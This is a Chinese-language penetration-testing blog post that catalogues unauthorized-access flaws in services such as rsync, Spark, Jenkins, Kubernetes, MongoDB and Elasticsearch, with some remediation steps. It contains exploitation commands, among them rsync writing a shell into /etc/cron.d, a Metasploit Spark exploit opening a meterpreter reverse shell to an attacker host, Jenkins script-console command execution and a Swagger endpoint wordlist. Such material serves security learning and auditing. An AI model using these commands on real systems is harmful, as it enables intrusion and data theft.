赞
踩
以下总结了常见的未授权访问漏洞,还在持续更新中,遇到就会补充。欢迎大家关注~
目录
Apache Spark未授权访问(6066、8081、8082)
Kubernetes API Server未授权(8080、10250)
RabbitMQ未授权访问(15672、15692、25672)
FTP即文件传输协议,使用客户/服务器模式与使用 TCP 传输,属于网络传输协议的应用层,默认使用20、21号两个端口,一个数据端口和一个命令端口,端口20是数据端口,用于文件在客户端和服务器之间传输数据流。端口21是命令端口,用于传输控制流,接受客户端发出的相关FTP命令与参数。
由于FTP使用弱口令或者启用了匿名登录功能,容易被攻击者攻击,发生恶意文件上传或更严重的入侵行为。
端口扫描检测,可以使用nmap工具。
使用匿名用户连接
- [root@centos7 vsftpd]# ftp 192.168.75.122
- Connected to 192.168.75.122(192.168.75.122).
- 220 (vsFTPd 3.0.2)
- Name (192.168.75.122:root): anonymous
- 230 Login successful.
- Remote system type is UNIX.
- Using binary mode to transfer files.
- ftp> pwd
- 257 "/"
-
有关于FTP匿名登录利用的有一个VSFTPD2.3.4笑脸漏洞:FTP(匿名登录)未授权访问VSFTPD2.3.4漏洞渗透_ftp匿名登录漏洞-CSDN博客
关于这个漏洞,只要用户输入的用户名包含连续的:)字符,就会自动在6200端口打开一个后门。
LDAP即轻型目录访问协议,默认使用389端口,LDAP底层一般使用TCP或UDP作为传输协议。目录服务是一个特殊的数据库,是一种以树状结构的目录数据库为基础。
未对LDAP的访问进行密码验证,导致未授权访问。
检测脚本参考
- # python
- # _*_ coding:utf-8 _*_
- from ldap3 import Connection,Server,ALL
- def ldap_anonymous(ip):
- try:
- server = Server(ip,get_info=ALL,connect_timeout=1)
- conn = Connection(server, auto_bind=True)
- print "[+] ldap login for anonymous"
- conn.closed
- except:
- #pass
- print '[-] checking for ldap anonymous fail'
使用LdapBrowser直接连入,获取敏感信息。
LDAP是一个用于浏览和管理LDAP服务器的工具。
Rsync是Linux/Unix下的一个远程数据同步工具,可通过LAN/WAM快速同步多台主机间的文件和目录,默认运行在873端口。
由于rsync的配置不当,导致允许任何人未授权访问rsync,上传本地文件,下载服务器文件等。
rsync rsync://ip:873/
可以直接使用rsync工具进行利用
- #利用rsync下载passwd文件
- rsync rsync://ip:873/src/etc/passwd ./
- #查看下载的passwd文件
- cat passwd
-
- #利用rsync写入shell文件
- rsync -av shell rsync://ip:873/src/etc/cron.d/shell
更改rsync默认配置文件/etc/rsyncd.conf,添加或修改参数:
访问控制;设置host allow,限制允许访问主机的IP。
权限控制;设置read only,将模块设置成只读。
访问认证;设置auth、secrets,认证成功才能调用服务。
模块隐藏;设置list,将模块隐藏。
ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现,是Hadoop和Hbase的重要组件。它是一个为分布式应用提供一致性服务的软件,提供的功能包括:配置维护、域名服务、分布式同步、组服务等。
ZooKeeper默认开放2181端口,没有对ZooKeeper进行访问控制,攻击者可通过执行envi命令获得系统大量的敏感信息包括系统名称、Java环境等,任意用户在网络可达的情况下可以进行未授权读取数据甚至杀死服务。
使用nmap扫描端口
- #列出连接的客户端的统计信息
- stat |ncat ip 2181
-
- #测试服务器是否正常运行
- echo ruok |ncat ip 2181
-
- #列出未完成的请求
- echo reqs |ncat ip 2181
-
- #打印有关服务环境的详细信息
- echo envi |ncat ip 2181
-
- #列出未完成的会话和临时节点
- echo dump |ncat ip 2181
默认5000端口,开放远程API,可以docker命令,通过url操作docker。
端口扫描检测
- #获取仓库列表
- http://ip:5000/v2/_catalog
-
- #获取指定仓库中镜像的tags列表
- http://ip:5000/v2/geoglobe-servicemgr/tags/list
设置ACL,只允许信任ip进行连接。
Kibana 是一款开源的数据分析和可视化平台,它是 Elastic Stack 成员之一,设计用于和 Elasticsearch 协作。可以使用 Kibana 对 Elasticsearch 索引中的数据进行搜索、查看、交互操作。
kibana没有做安全的登录认证,外部能够随意访问数据,造成数据泄露。
未授权访问的页面,无需账号密码可以直接登录。
http://192.168.126.130:5601/
https://192.168.126.130/app/kibana#
http://192.168.126.130:5601/app/kibana#/
VNC是虚拟网络控制台Virtual Network Console的英文缩写。它是一款优秀的远程控制工具软件由美国电话电报公司AT&T的欧洲研究实验室开发。VNC是基于 UNXI 和 Linux 的免费开源软件由 VNC Server 和 VNC Viewer 两部分组成。
默认端口为5900、5901.VNC未授权访问可以造成恶意用户直接控制受控主机。
检测可以使用nmap进行扫描,查看是否开放5900、5901端口。
可以使用msfconsole工具检测模块进行批量检测
(1) 在 kali 下运行 msfconsolemsfconsole。
(2) 调用 VNC 未授权检测模块use auxiliary/scanner/vnc/vnxnoneauth。
(3) 显示有哪些选项show options。
(4) 设置地址段set rhosts ip 或 段。
(5) 设置线程set threads 50。
(6) 开始扫描run。
直接使用VNC客户端输入目标服务器IP进行连接即可,连接成功可以控制目标服务器。
(1) 配置 VNC 客户端登录口令认证并配置符合密码强度要求的密码。
(2) 以最小权限的普通用户身份运行操作系统。
Apache CouchDB 是一个开源数据库,默认会在5984端口开放Restful的API接口,如果使用SSL的话就会监听在6984端口,用于数据库的管理功能。
HTTP Server默认开启,且没有进行验证,绑定在0.0.0.0上,所有用户均可以通过API访问导致未授权访问。在官方配置文档中对HTTP Server的配置有WWW-Authenticate:Set this option to trigger basic-auth popup on unauthorized requests,但是很多用户都没有这么配置,导致漏洞产生。
使用nmap扫描端口
然后未授权访问其页面,也可以通过curl拉取页面信息
curl ip:5984/_config
Apache Spark是一款集群计算系统,其支持用户向管理节点提交应用,并分发给集群执行。
如果管理节点未启动访问控制,攻击者可以在集群中执行任意代码。该漏洞的本质是未授权用户可以向master节点提交一个应用,master节点会分发给slave节点执行应用。如果应用中包含恶意代码,会导致任意代码执行,威胁spark集群整体的安全性。
nmap扫描开放端口
使用msf工具进行getshell
- use exploit/linux/http/spark_unauth_rce
-
- set payload java/meterpreter/reverse_tcp
-
- set rhost 目标ip
-
- set rport 6066
-
- set lhost 攻击机ip
-
- set lport 4444
-
- set srvhost 攻击机ip
-
- set srvport 8080
-
- exploit

Redis未授权访问漏洞详解(全面)_redis未授权访问漏洞编号-CSDN博客
Weblogic常见漏洞详解_weblogic漏洞-CSDN博客
Jenkins是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件项目可以进行持续集成。
默认情况下Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令,攻击者可通过未授权访问漏洞或者暴力破解用户密码等进脚本执行界面从而获取服务器权限。
使用nmap进行端口扫描
输入url,进行未授权访问
- http://ip:8080/manage
-
- http://ip:8080/script
然后在后台页面执行系统命令
- #命令格式
- println 'whoami'.execute().text
Kubernetes 是一个全新的基于容器技术的分布式架构解决方案,是 Google 开源的一个容器集群管理系统,Kubernetes 简称 K8S。
kubernets服务正常启动后会开放两个端口:Localhost Port(默认8080)、Secure Port(默认6443)。这两个端口都提供了API Server,一个通过web访问(而10250端口是kubelet API的HTTPS端口),一个通过kubectl客户端进行调用。如果没有进行合理的配置验证和权限,那么攻击者可以通过这两个接口去获取容器的权限。
使用nmap进行端口扫描
访问https://ip/10250/pods获取环境变量、运行的容器信息、命名空间等信息。
ActiveMQ是一款流行的开源消息服务器(就是消息中间件)。
ActiveMQ服务是默认没有配置安全参数的,这导致攻击者可以在默认配置下发动远程命令执行攻击,获取服务器权限,从而导致数据泄露。
默认配置下,默认端口为8161,默认账号/密码为admin/admin
Jupyter Notebook是一个交互式笔记本,支持运行 40 多种编程语言,用于创建和共享程序文档,支持实时代码。
如果管理员未配置密码,将导致未授权访问漏洞,攻击者可以在其中创建一个console并很仔细任意python代码和命令。
这里使用vulhub搭建漏洞
- cd vulhub/jupyter/notebook-rce
- docker-compose up -d
访问http://ip:8888未授权进入后台页面
然后在New->Terminal创建控制台
便可以执行任意命令
Elasticsearch是一款Java编写的企业级搜索服务引擎。被广泛应用于实时日志分析处理、信息检索、以及数据的多维查询和统计分析等场景。
启动服务默认会开放9200端口或9300端口,可被攻击者未授权访问进行非法操作。
使用nmap进行端口扫描
然后访问url,查看敏感数据
- http://localhost:9200
-
- http://localhost:9200/_cat/ //查看目录
-
- http://localhost:9200/_cat/indices
-
- http://localhost:9200/_river/_search //查看数据库敏感信息
-
- http://localhost:9200/_nodes //查看节点数据
-
- http://localhost:9200/_plugin/head/ //web管理界面(安装了head插件)
Zabbix是一个基于web界面的提供分布式系统监视以及网络监控功能的企业级的开源解决方案。
如果管理员没有更改默认配置,那么默认开放端口为10051,且无需账号密码即可登录后台。其中web后台是由PHP编写,用来显示数据库中的结果。
使用nmap进行端口扫描
然后无需账号密码即可访问后台页面:http://ip:8080/zabbix.php
Memcached是由C语言编写的一个自由开源的、高性能的、分布式的内存对象缓存系统。内存存储可以减少数据库访问次数,提高Web应用次数。
Memcached与Redis有一些相似,它们都是内存存储数据库。不同点就是Memcached可以存储图图片、视频等数据,但是Redis可以存储list、set等的复杂数据类型,而Memcached只支持存储简答的数据类型,而且Redis只使用单核,而Memcached是可以使用多核的。总而言之,Redis适合存储小数据,Memcached适合存储大数据。
依然是不需要密码即可访问。
默认端口为11211.
1、使用nmap进行远程扫描,存在11211端口
nmap -p 11211 rhost-ip
2、使用telent远程登录,可以直接登录成功
telnet rhost-ip
memcached -d -m 1024 -u root -l 127.0.0.1-p 11211 -c 1024 -P /tmp/memcached.pid
- #配置iptables规则,只允许192.168.15.249对11211端口进行访问
- iptables -A INPUT -p tcp -s 192.168.15.249 --dport 11211 -j ACCEPT
-
- #保存规则
- service iptables save
-
- #重启iptables
- service iptables restart
RabbitMQ是非常热门的一款消息中间件,基于AMQP协议的,可以在发布者和使用者之间交换异步消息。
在默认配置下,账号密码已知,且默认端口对外开放,攻击者可以未授权访问窃取数据。
使用端口扫描
访问url页面,默认账号密码都为guest
- http://ip:15672
-
- http://ip:15692
-
- http://ip:25672
MongoDB数据库由C++编写,主要是为了提供Web应用提供可扩展的高性能数据存储解决方案。MongoDB是一个介于关系数据库和非关系数据库之间的产品,是非关系数据库当中功能最丰富,最像关系数据库的。它支持的数据结构非常松散,是类似json的bson格式,因此可以存储比较复杂的数据类型。Mongo最大的特点是它支持的查询语言非常强大,其语法有点类似于面向对象的查询语言,几乎可以实现类似关系数据库单表查询的绝大部分功能,而且还支持对数据建立索引。
MongoDB数据库安装完成之后默认空口令导致攻击者无需账号就可以直接登录,进行增删改查操作。
默认端口:27017
攻击机:kai
靶机:Ubuntu(需要使用docker环境搭建)
1、拉取MongoDB镜像文件
docker pull mongo
2、创建容器并将MongoDB运行
docker run -d -p 27017:27017 mongo
3、查看运行端口
docker ps -a
4、攻击机扫描端口
1、在kali里面导入MongoDB公共GPG密钥:
wget -qO - https://www.mongodb.org/static/pgp/server-5.0.asc | sudo apt-key add -
2、创建一个列表用于配置下载列表和下载源
echo "deb http://repo.mongodb.org/apt/debian buster/mongodb-org/5.0 main" | sudo tee /etc/apt/sources.list.d/mongodb-org-5.0.list
3、重新加载更新源
apt-get update
4、安装MongoDB的最新稳定版本
apt-get install -y mongodb-org
如果这里出现libssl1.1不能下载的报错,可以更新源,然后再次进行下载。解决方法参考:解决E: Unable to correct problems, you have held broken packages.(亲测有效)-CSDN博客
5、启动MongoDB进程
systemctl start mongod
6、直接使用命令进行连接(无口令连接)
mongo --host 192.168.122.1 --port 27017
7、连接后即可查看用户、数据库等信息。
8、然后创建一个管理员账号
- #切换到admin库:
- > use admin
- switched to db admin
-
-
- #创建用户
- > db.createUser(
- {
- user: "myUserAdmin",
- pwd: "Passw0rd",
- roles: [ { role: "userAdminAnyDatabase", db: "admin" } ]
- }
- )
-
-
- #创建成功后提示信息:Successfully added user: {
- "user" : "myUserAdmin",
- "roles" : [
- {
- "role" : "userAdminAnyDatabase",
- "db" : "admin"
- }
- ]
- }

9、ssh登录系统,账号密码为上面创建账户的账号密码。
除了上面较复杂的过程,也可以使用msf集成工具进行攻击。
在探测存在27017端口后,可以使用
msf6 > use auxiliary/scanner/mongodb/mongodb_login
NFS是UNIX表示层协议,能让使用者访问网络别处的文件就像在使用自己计算机一样。
NFS配置不当,未限制对外访问,导致共享目录泄露。
- #安装nfs客户端
- apt install nfs-common
-
- #查看nfs服务器上的共享目录
- showmount -e ip
-
- #挂载到本地
- mount -t nfs ip:/grdata /mnt
-
- #卸载共享目录
- umount /mnt
或者在windows系统上也可以直接利用映射网络驱动器。
Dubbo是阿里巴巴公司开源的一个高性能优秀的 服务框架,使得应用可通过高性能的 RPC 实现服务的输 出和输入功能,可以和 Spring框架无缝集成。
因配置不当而导致未授权访问漏洞
扫描端口后直接连接进入dubbo服务
- #连接进入dubbo服务
- telent ip port
-
- #查看框架情况
- status -l
Druid是阿里巴巴数据库出品的,为监控而生的数据库连接池,并且Druid提供的监控功能,监控SQL的执行时间、监控Web URI的请求、Session监控。
首先Druid是不存在什么漏洞的。但当开发者配置不当时就可能造成未授权访问。
无需登录,即可登录Druid监控页面,访问以下url
- /druid/index.html
-
- /druid/websession.html
-
- /druid/datasource.html
-
- /druid/sql.html
-
- /druid/spring.html
Solr是一个高性能,采用Java开发,基于Lucene的全文搜索服务器。solr的管理界面通常包含如下信息:solr的配置信息(包括路径,用户名,系统版本信息),数据库的配置信息(地址,用户名,密码),数据库搜索数据等。
配置不当导致可以任意未授权访问,可查询所有数据库信息,甚至可读取系统任意文件,获取shell。
访问如下url
- http://xx.xx.com/solr/admin
-
- https://xx.xx.com/solr/admin
漏洞修复
Actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块,借助于 Actuator 开发者可以很方便地对应用系统某些监控指标进行查看、统计等。
在 Actuator 启用的情况下,如果没有做好相关权限控制,非法用户可通过访问默认的执行器端点(endpoints)来获取应用系统中的监控信息,从而导致信息泄露甚至服务器被接管的事件发生。
Swagger 是一个规范且完整的框架,用于生成、描述、调用和可视化 RESTful 风格的 Web 服务。
访问以下url
/api
/api-docs
/api-docs/swagger.json
/api.html
/api/api-docs
/api/apidocs
/api/doc
/api/swagger
/api/swagger-ui
/api/swagger-ui.html
/api/swagger-ui.html/
/api/swagger-ui.json
/api/swagger.json
/api/swagger/
/api/swagger/ui
/api/swagger/ui/
/api/swaggerui
/api/swaggerui/
/api/v1/
/api/v1/api-docs
/api/v1/apidocs
/api/v1/swagger
/api/v1/swagger-ui
/api/v1/swagger-ui.html
/api/v1/swagger-ui.json
/api/v1/swagger.json
/api/v1/swagger/
/api/v2
/api/v2/api-docs
/api/v2/apidocs
/api/v2/swagger
/api/v2/swagger-ui
/api/v2/swagger-ui.html
/api/v2/swagger-ui.json
/api/v2/swagger.json
/api/v2/swagger/
/api/v3
/apidocs
/apidocs/swagger.json
/doc.html
/docs/
/druid/index.html
/graphql
/libs/swaggerui
/libs/swaggerui/
/spring-security-oauth-resource/swagger-ui.html
/spring-security-rest/api/swagger-ui.html
/sw/swagger-ui.html
/swagger
/swagger-resources
/swagger-resources/configuration/security
/swagger-resources/configuration/security/
/swagger-resources/configuration/ui
/swagger-resources/configuration/ui/
/swagger-ui
/swagger-ui.html
/swagger-ui.html#/api-memory-controller
/swagger-ui.html/
/swagger-ui.json
/swagger-ui/swagger.json
/swagger.json
/swagger.yml
/swagger/
/swagger/index.html
/swagger/static/index.html
/swagger/swagger-ui.html
/swagger/ui/
/Swagger/ui/index
/swagger/ui/index
/swagger/v1/swagger.json
/swagger/v2/swagger.json
/template/swagger-ui.html
/user/swagger-ui.html
/user/swagger-ui.html/
/v1.x/swagger-ui.html
/v1/api-docs
/v1/swagger.json
/v2/api-docs
/v3/api-docs
设置访问权限
Harbor未授权添加任意管理员漏洞。攻击者可通过构造特定的字符串,在未授权的情况下直接创建管理员账号,从而接管Harbor镜像仓库。
参考这篇文章:Harbor未授权创建管理员漏洞(CVE-2019-16097)_harbor未授权添加管理员漏洞-CSDN博客
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。